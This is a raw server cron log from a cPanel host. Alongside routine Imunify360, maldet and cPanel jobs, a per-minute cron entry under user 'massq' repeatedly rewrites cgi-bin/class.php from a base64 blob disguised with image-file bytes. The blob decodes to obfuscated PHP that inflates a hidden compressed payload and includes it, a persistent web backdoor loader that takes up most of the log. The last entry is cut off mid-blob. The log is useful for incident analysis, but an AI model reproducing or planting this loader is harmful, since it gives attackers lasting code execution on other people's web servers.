Sep 10 00:50:01 server CROND[4685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:50:01 server CROND[4683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:50:01 server CROND[4689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:50:01 server CROND[4688]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 00:50:01 server CROND[4687]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 00:50:01 server CROND[4686]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 00:50:01 server CROND[4684]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:50:01 server CROND[4693]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:51:01 server CROND[5526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:51:01 server CROND[5527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:51:01 server CROND[5529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:52:01 server CROND[5893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:52:01 server CROND[5894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:52:01 server CROND[5895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:53:01 server CROND[6268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:53:01 server CROND[6267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:53:01 server CROND[6269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:54:01 server CROND[6638]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:54:01 server CROND[6639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:54:01 server CROND[6640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:55:01 server CROND[7106]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 00:55:01 server CROND[7111]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:55:01 server CROND[7114]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:55:01 server CROND[7115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:55:01 server CROND[7112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:55:01 server CROND[7113]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 00:55:01 server CROND[7118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:56:01 server CROND[7920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:56:01 server CROND[7922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:56:01 server CROND[7921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:57:01 server CROND[8240]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 00:57:01 server CROND[8241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:57:01 server CROND[8242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:57:01 server CROND[8243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:58:01 server CROND[8670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:58:01 server CROND[8671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:58:01 server CROND[8672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:59:01 server CROND[9033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:59:01 server CROND[9034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:59:01 server CROND[9035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:00:01 server CROND[9512]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 01:00:01 server CROND[9515]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:00:01 server CROND[9516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:00:01 server CROND[9518]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 01:00:01 server CROND[9517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:00:01 server CROND[9523]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 01:00:01 server CROND[9520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:00:01 server CROND[9524]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:00:01 server CROND[9522]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 01:01:01 server CROND[10412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:01:01 server CROND[10414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:01:01 server CROND[10415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmox